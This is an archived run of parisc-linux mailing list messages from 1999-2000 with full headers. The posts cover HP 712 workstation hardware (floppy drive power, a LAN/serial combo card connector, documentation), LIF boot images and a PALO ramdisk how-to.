Subject: [parisc-linux] floppy disk drive for hp  712/100
Date: Mon, 20 Mar 2000 15:07:39 GMT
Lines: 21
Approved: news@gmane.org
Message-ID: <20000320150742.19786.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618845 31556 80.91.229.3 (22 Nov 2014 01:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tjyang@myrealbox.com  Mon Mar 20 09:06:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18508
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 09:06:12 -0700
Original-Received: (qmail 19787 invoked by uid 15267); 20 Mar 2000 15:07:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19777 invoked from network); 20 Mar 2000 15:07:41 -0000
Original-Received: from unknown (HELO myrealbox.com) (192.108.102.201)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 15:07:41 -0000
Original-Received: from tjyang [206.191.36.2] by myrealbox.com
	with Novell Internet Messaging System Web Client; Mon, 20 Mar 2000 08:07:39
X-Sender: Novell Internet Messaging System Web Client
Xref: news.gmane.org gmane.linux.ports.parisc:7064

Another question for my 712/100 wks. 
I am thinking of putting a floppy disk drive into the
empty seond bay. The ioscan output strongly indicate
the floppy disk is a reqular PC floppy drive. 

on the hp mother board, the floppy disk connetion cable
looks alright with the pc one but the power cable is 
different. It only has two wires while the PC one has
four. (That is why it is imporatent to locate the 
712/100 owner's/technical manual).

I don't have the multimeter with me now to check on the 
voltage. 

Perhaps someone done this before can help me out.

Thanks again


tj


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712 wks owner/technical on-line documentation ?
Date: Mon, 20 Mar 2000 11:41:22 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000320114122.A3211@thepuffingroup.com>
References: <20000320142950.26589.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618845 31560 80.91.229.3 (22 Nov 2014 01:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T.J.Yang" <tjyang@myrealbox.com>
Original-X-From: willy@thepuffingroup.com  Mon Mar 20 09:40:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18772
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 09:39:59 -0700
Original-Received: (qmail 11183 invoked by uid 15267); 20 Mar 2000 15:41:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11175 invoked from network); 20 Mar 2000 15:41:28 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 15:41:28 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA03568;
	Mon, 20 Mar 2000 11:41:22 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000320142950.26589.qmail@mailserv2.iuinc.com>; from T.J.Yang on Mon, Mar 20, 2000 at 02:29:47PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:7065

On Mon, Mar 20, 2000 at 02:29:47PM +0000, T.J.Yang wrote:
> Hi, again
> 
> I tried very hard to locate the 712 wks manuals on 
> http://docs.hp.com/hpux/systems/ with no luck.
> 
> Anyone can give me a pointer where to find it ?

I can't, but the Hardware Compatibility List is linked from the puffin
group documentation page and it has a certain amount of detail in it.
It is over 200 pages and contains details of many machines other than
the 712, so you probably don't want to print it all out.


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 21:21:36 -0800 (PST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990312211042.208B-100000@quark.ix.netcom.com>
References: <199903112235.QAA05851@equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618846 31562 80.91.229.3 (22 Nov 2014 01:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:06 +0000 (UTC)
Cc: jason@equator.com, kumar@ix.netcom.com
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Sat Mar 13 00:21:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA05858
	for <hppa-linux@sod.res.cmu.edu>; Sat, 13 Mar 1999 00:21:19 -0500
Original-Received: (qmail 28279 invoked by uid 15267); 13 Mar 1999 05:20:49 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 28272 invoked from network); 13 Mar 1999 05:20:49 -0000
Original-Received: from dfw-ix12.ix.netcom.com (206.214.98.12)
  by mailserv2.iuinc.com with SMTP; 13 Mar 1999 05:20:49 -0000
Original-Received: (from smap@localhost)
          by dfw-ix12.ix.netcom.com (8.8.4/8.8.4)
	  id XAA18489; Fri, 12 Mar 1999 23:20:32 -0600 (CST)
Original-Received: from sji-ca13-252.ix.netcom.com(209.109.238.252) by dfw-ix12.ix.netcom.com via smap (V1.3)
	id rma018459; Fri Mar 12 23:20:02 1999
In-Reply-To: <199903112235.QAA05851@equator.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7066

	
	I  compiled without libmilli.a and it did compile.
	File ipl_s.s says 
	The object code is converted to LIF (logical interchange format)
	and then at the beginning of the boot media.

	So how do I convert the binary "ipl" to LIF. I tried "lifinit"
	and "mkboot" combination. But no luck, I keep getting 
	
	"Bad IPL size" and "Error reading IPL" error messages. 

	I tried "dd" also on the raw disk. No luck with that either.

	So my question is how to place built "ipl" binary at the
	appropriate place on the disk so that PDC finds it. Any magic
	combination of commands ? Looks like I am missing something
	obvious.


Thanks in advance,

-pkd

On Thu, 11 Mar 1999, Jason Eckhardt wrote:

> 
> Boot test #4: This is essentially the same code as #3 but I have taken
> out some delays, modified the cache flush routines, and turned
> verbose (debug) mode back on. I want to make sure that not having the delays
> makes no difference and that no characters get dropped when there is a lot
> of text (as in debug mode). Please let me know if the test still passes
> as before. Hopefully this will be the last test for a while. Kernel work
> comes next.
> 
> I have uploaded the binary as well as a new source drop to the ftp site. The
> source is now GPL'd and a detailed README is included which gives an overview
> of the boot code operation. This source supersedes any previous source you
> may have laying around.
> 
> ftp from sod.res.cmu.edu:/pub/parisc/hilo
>   boot_rel_0.2.tar.gz        The latest source code and documentation.
>   bootstrap_4.bin.gz         Bootstrap binary #4. 
> 
> Regards, 
> Jason Eckhardt.
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J.Yang" <tjyang@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] HP 712 wks owner/technical on-line documentation ?
Date: Mon, 20 Mar 2000 16:37:13 GMT
Lines: 30
Approved: news@gmane.org
Message-ID: <20000320163716.20317.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618846 31565 80.91.229.3 (22 Nov 2014 01:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: tjyang@myrealbox.com  Mon Mar 20 10:35:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19441
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 10:35:47 -0700
Original-Received: (qmail 20319 invoked by uid 15267); 20 Mar 2000 16:37:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20300 invoked from network); 20 Mar 2000 16:37:15 -0000
Original-Received: from unknown (HELO myrealbox.com) (192.108.102.201)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 16:37:15 -0000
Original-Received: from tjyang [206.191.36.2] by myrealbox.com
	with Novell Internet Messaging System Web Client; Mon, 20 Mar 2000 09:37:13
X-Sender: Novell Internet Messaging System Web Client
Xref: news.gmane.org gmane.linux.ports.parisc:7067



> On Mon, Mar 20, 2000 at 02:29:47PM +0000, T.J.Yang wrote:
> > Hi, again
> > 
> > I tried very hard to locate the 712 wks manuals on 
> > http://docs.hp.com/hpux/systems/ with no luck.
> > 
> > Anyone can give me a pointer where to find it ?
> 
> I can't, but the Hardware Compatibility List is linked 
from the puffin
> group documentation page and it has a certain amount of 
detail in it.
> It is over 200 pages and contains details of many 
machines other than
> the 712, so you probably don't want to print it all out.
> 

Thanks for the good pointer. I found my second lan/serial 
card's part number at 
http://puffin.external.hp.com/docs/980723ng.pdf under 
interfaces section.

Thanks


tj



From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need second ethernet card connector on a 712 hp wks
Date: Mon, 20 Mar 2000 08:58:44 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200003201658.IAA15206@milano.cup.hp.com>
References: <20000320141940.20659.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618846 31568 80.91.229.3 (22 Nov 2014 01:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T.J.Yang" <tjyang@myrealbox.com>
Original-X-From: grundler@cup.hp.com  Mon Mar 20 10:55:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19634
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 10:55:22 -0700
Original-Received: (qmail 2841 invoked by uid 15267); 20 Mar 2000 16:56:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2831 invoked from network); 20 Mar 2000 16:56:51 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 16:56:51 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 42F105D1; Mon, 20 Mar 2000 11:58:08 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id IAA15206; Mon, 20 Mar 2000 08:58:53 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 20 Mar 2000 14:19:37 PST."
             <20000320141940.20659.qmail@mailserv2.iuinc.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7068

"T.J.Yang" wrote:
> Hi, there
> 
> I am lucky enough to acquire a 712/100 machine with second
> ethernet card(both AUI/RS232) on it. But the problem is 
> that I can't find the connector for it.
> 
> It has three rows of pins (9+9+8) while the reqular
> AUI is 8+7. 

tj,
I've already asked about this "y-cable" and posted the part numbers
last month. Please check the archive. I have three of the LAN/SERIAL
combo cards (aka lasi-on-a-card) but no y-cables.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need second ethernet card connector on a 712 hp
 wks
Date: Mon, 20 Mar 2000 17:40:32 -0600 (CST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003201738050.28906-100000@jesse.crash.lan>
References: <20000320141940.20659.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618847 31570 80.91.229.3 (22 Nov 2014 01:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T.J.Yang" <tjyang@myrealbox.com>
Original-X-From: catfish@alltel.net  Mon Mar 20 17:37:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA22355
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 17:37:30 -0700
Original-Received: (qmail 16017 invoked by uid 15267); 20 Mar 2000 23:39:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15997 invoked from network); 20 Mar 2000 23:38:58 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.130.157)
  by mailserv2.iuinc.com with SMTP; 20 Mar 2000 23:38:58 -0000
Original-Received: from localhost (IDENT:catfish@localhost.localdomain [127.0.0.1])
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id RAA28921;
	Mon, 20 Mar 2000 17:40:32 -0600
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <20000320141940.20659.qmail@mailserv2.iuinc.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7069


Hi
 I have a 715/50 running on my LAN (setiathome) I found an old AUI -> BNC
(10Base2) and used it with the AUI it tranfers at over 1024kb/s with my
SMC cards in my Linux box, I'll never buy a generic NE2k again. 

 AUI->BNC aren't real cheap you'll have to shop around to get a good
price I've seen on egghead for $35 
Terry


On Mon, 20 Mar 2000, T.J.Yang wrote:

> Hi, there
> 
> I am lucky enough to acquire a 712/100 machine with second
> ethernet card(both AUI/RS232) on it. But the problem is 
> that I can't find the connector for it.
> 
> It has three rows of pins (9+9+8) while the reqular
> AUI is 8+7. 
> 
> The system is running 10.20 and lan1 is congiured to
> be 192.168.2.1 and accpeted the ping back.
> 
> Anybody know where can I find the connector(adpator) ?
> 
> So close yet so far !!!
> 
> Thanks in advance
> 
> tj
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T.J. Yang" <tjyang@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need second ethernet card connector on a 712 hpwks
Date: Mon, 20 Mar 2000 21:38:42 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <003101bf92de$95b49ca0$16a87218@slnt1.on.wave.home.com>
References: <Pine.LNX.4.10.10003201738050.28906-100000@jesse.crash.lan>
Reply-To: "T.J. Yang" <tjyang@myrealbox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618847 31573 80.91.229.3 (22 Nov 2014 01:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:07 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "T. Martin" <catfish@alltel.net>
Original-X-From: tjyang@myrealbox.com  Mon Mar 20 20:38:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA23547
	for <parisc-linux@puffin.external.hp.com>; Mon, 20 Mar 2000 20:38:52 -0700
Original-Received: (qmail 16463 invoked by uid 15267); 21 Mar 2000 02:40:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16453 invoked from network); 21 Mar 2000 02:40:22 -0000
Original-Received: from unknown (HELO myrealbox.com) (192.108.102.201)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 02:40:22 -0000
Original-Received: from tj.slnt1.on.wave.home.com [24.114.168.22] by myrealbox.com
	with Novonyx SMTP Server $Revision:   2.25  $; Mon, 20 Mar 2000 19:40:17 -0700 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7070

Hi, T. Martin

The card is an add-on ethernet/rs232 combo card. The HP part number
is
1. A-3422-40 printed on the card or
2. A4014A according to the system compatibilty hardwre list manual in pdf
format on puffing web site.

It's output connector is 9+9+8 pins femal connector which required
a special 1 split into 2 cable(Y) for rs232 and AUI/RJ45 ? connection.

I tried http://www.pccables.com with no success.

Any one know where can I buy it  in Canada ?

thanks

tj
----- Original Message -----
From: "T. Martin" <catfish@alltel.net>
To: "T.J.Yang" <tjyang@myrealbox.com>
Cc: <parisc-linux@thepuffingroup.com>
Sent: Monday, March 20, 2000 6:40 PM
Subject: Re: [parisc-linux] Need second ethernet card connector on a 712
hpwks


>
> Hi
>  I have a 715/50 running on my LAN (setiathome) I found an old AUI -> BNC
> (10Base2) and used it with the AUI it tranfers at over 1024kb/s with my
> SMC cards in my Linux box, I'll never buy a generic NE2k again.
>
>  AUI->BNC aren't real cheap you'll have to shop around to get a good
> price I've seen on egghead for $35
> Terry
>
>
> On Mon, 20 Mar 2000, T.J.Yang wrote:
>
> > Hi, there
> >
> > I am lucky enough to acquire a 712/100 machine with second
> > ethernet card(both AUI/RS232) on it. But the problem is
> > that I can't find the connector for it.
> >
> > It has three rows of pins (9+9+8) while the reqular
> > AUI is 8+7.
> >
> > The system is running 10.20 and lan1 is congiured to
> > be 192.168.2.1 and accpeted the ping back.
> >
> > Anybody know where can I find the connector(adpator) ?
> >
> > So close yet so far !!!
> >
> > Thanks in advance
> >
> > tj
> >
>
> --------------------------------------------------------------------------
-
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with
> > `unsubscribe' as the subject.
> >
> >
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:12:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedro G. Gonnet" <pedro@vis.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 10baseT or coax ethernet
Date: Tue, 21 Mar 2000 12:03:47 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <38D75713.1E65DDB1@vis.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618847 31576 80.91.229.3 (22 Nov 2014 01:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@vis.ethz.ch  Tue Mar 21 05:04:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA27186
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 05:04:14 -0700
Original-Received: (qmail 16959 invoked by uid 15267); 21 Mar 2000 11:05:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16949 invoked from network); 21 Mar 2000 11:05:44 -0000
Original-Received: from naboo.ethz.ch (129.132.71.62)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 11:05:44 -0000
Original-Received: from vis.ethz.ch (alderaan.ethz.ch [129.132.71.54])
	by naboo.ethz.ch (Postfix) with ESMTP id 19BCC275B6
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Mar 2000 12:05:43 +0100 (CET)
Original-Sender: pedro@vis.ethz.ch
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7071


hello!

anybody know where i can get my hands on an ethernet adapter
(twisted-pair or coax) for an hp9000/735/99?

thanks in advance!

pedro


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?UTF-8?B?QUJSQUhBTVMsQUxFWCBULg==?=" <ABRAHAAT@apci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?UTF-8?B?UkU6IFtwYXJpc2MtbGludXhdIGZsb3BweSBkaXNrIGRyaXZlIGZv?=
 =?UTF-8?B?ciBocCAgNzEyLzEwMA==?=
Date: Tue, 21 Mar 2000 07:51:39 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <DA2FC4D5F21BD311BF3F0008C75D161A022EDB9C@gbex001m.ape.apci.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; 
 charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618848 31579 80.91.229.3 (22 Nov 2014 01:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:08 +0000 (UTC)
To: "=?UTF-8?B?J3BhcmlzYy1saW51eEB0aGVwdWZmaW5ncm91cC5jb20n?=" <parisc-linux@thepuffingroup.com>
Original-X-From: ABRAHAAT@apci.com  Tue Mar 21 06:50:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA27983
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 06:50:15 -0700
Original-Received: (qmail 22049 invoked by uid 15267); 21 Mar 2000 12:51:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22040 invoked from network); 21 Mar 2000 12:51:46 -0000
Original-Received: from mail.apci.com (root@205.147.228.13)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 12:51:46 -0000
Original-Received: from moe.apci.com (firewall-user@moe.apci.com [205.147.228.2])
	by mail.apci.com (8.8.5/8.8.5) with ESMTP id HAA09687
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Mar 2000 07:51:45 -0500 (EST)
Original-Received: by moe.apci.com; id HAA02494; Tue, 21 Mar 2000 07:51:44 -0500 (EST)
Original-Received: from crypto.apci.com(144.249.168.191) by moe.apci.com via smap (4.1)
	id xma002470; Tue, 21 Mar 00 07:51:41 -0500
Original-Received: from 144.249.168.155 by crypto.apci.com with SMTP (WorldSecure
 Server SMTP Relay(WSS) v4.3); Tue, 21 Mar 00 07:51:41 -0500
X-Server-Uuid: 0a59d787-ec29-11d2-907b-0008c7f41790
Original-Received: from naex000b.apci.com (naex000b.apci.com [144.249.178.60]) by
 relay.apci.com (8.8.5/8.8.5) with ESMTP id HAA02066 for
 <parisc-linux@thepuffingroup.com>; Tue, 21 Mar 2000 07:51:41 -0500 (EST
 )
Original-Received: by naex000b.apci.com with Internet Mail Service (5.5.2448.0)
 id <HK6GZL34>; Tue, 21 Mar 2000 07:51:40 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
X-WSS-ID: 14C9AFD7237524-01-01
Xref: news.gmane.org gmane.linux.ports.parisc:7072

I'm pretty sure I've done this the other way round (taken a workstation
floppy drive and put it a pc). The floppy would have been from a 715/80 or
it could have been an old X-term, but that worked fine.

Hope this helps
Alex
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Mr Alex Abrahams
Technical Analyst
Systems Engineering Support Group
Air Products PLC

Tel:  +44 1932 249939
Fax: +44 1932 258274




-----Original Message-----
From: T.J.Yang [mailto:tjyang@myrealbox.com]
Sent: 20 March 2000 15:08
To: parisc-linux@thepuffingroup.com
Subject: [parisc-linux] floppy disk drive for hp 712/100


Another question for my 712/100 wks. 
I am thinking of putting a floppy disk drive into the
empty seond bay. The ioscan output strongly indicate
the floppy disk is a reqular PC floppy drive. 

on the hp mother board, the floppy disk connetion cable
looks alright with the pc one but the power cable is 
different. It only has two wires while the PC one has
four. (That is why it is imporatent to locate the 
712/100 owner's/technical manual).

I don't have the multimeter with me now to check on the 
voltage. 

Perhaps someone done this before can help me out.

Thanks again


tj

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO and ramdisk micro-howto
Date: Tue, 21 Mar 2000 10:44:58 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <E12XSiA-00022u-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618848 31581 80.91.229.3 (22 Nov 2014 01:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue Mar 21 11:43:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29980
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Mar 2000 11:43:36 -0700
Original-Received: (qmail 31936 invoked by uid 15267); 21 Mar 2000 17:45:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31921 invoked from network); 21 Mar 2000 17:45:07 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 21 Mar 2000 17:45:07 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id 7089A630
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Mar 2000 09:45:06 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12XSiA-00022u-00; Tue, 21 Mar 2000 10:44:58 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7073


Grab recent versions of these from CVS:
	palo sources
	linux-2.3/init/main.c
	linux-2.3/arch/parisc/kernel/setup.c

In palo/Makefile, comment out NFSROOT= and uncomment the RAMDISK= line
which assumes your ramdisk is the file ../linux-2.3/ramdisk.bin which
is the way we used to have things.  Make sure you have a ramdisk in that
file (or change RAMDISK=).

Next time you 'make palo' in your linux tree, palo inserts the ramdisk
inside lifimage and constructs a default kernel command line to use the
ramdisk.

I tried both the old ramdisk, and I turned willy's nfsroot into a
ramdisk, and both booted and loaded but died with that
'Kernel panic: Attempted to kill init!' message.  Looks like sash is
being started with some args it doesn't like and exiting with a usage
message.

	-P


From - Thu Nov 08 21:12:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc gcc compile on ALPHA
Date: Tue, 21 Mar 2000 14:44:50 -0500 (EST)
Lines: 55
Approved: news@gmane.org
